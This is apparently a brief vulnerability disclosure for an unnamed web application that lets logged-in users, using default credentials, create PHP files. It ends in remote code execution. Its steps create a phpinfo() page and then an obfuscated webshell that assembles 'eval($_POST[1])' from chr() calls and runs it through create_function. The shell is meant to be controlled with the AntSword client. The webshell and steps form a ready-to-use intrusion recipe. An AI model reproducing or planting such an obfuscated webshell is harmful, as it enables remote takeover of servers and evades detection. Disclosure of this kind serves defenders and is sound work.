Dangerous php files can be created resulting in information leakage and RCE

[WindyAlexQ]

1. Enter the page using the default username and password.

2. Click "New File" to create a new file named test.php.

3. The content of test.php is <? php phpinfo(); ? >

4. Access test.php directly

5. Follow the steps above to create the file test2.php with the following contents (for confused webshell)
   <?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>

6. Connect using AntSword

7. You can get the webshell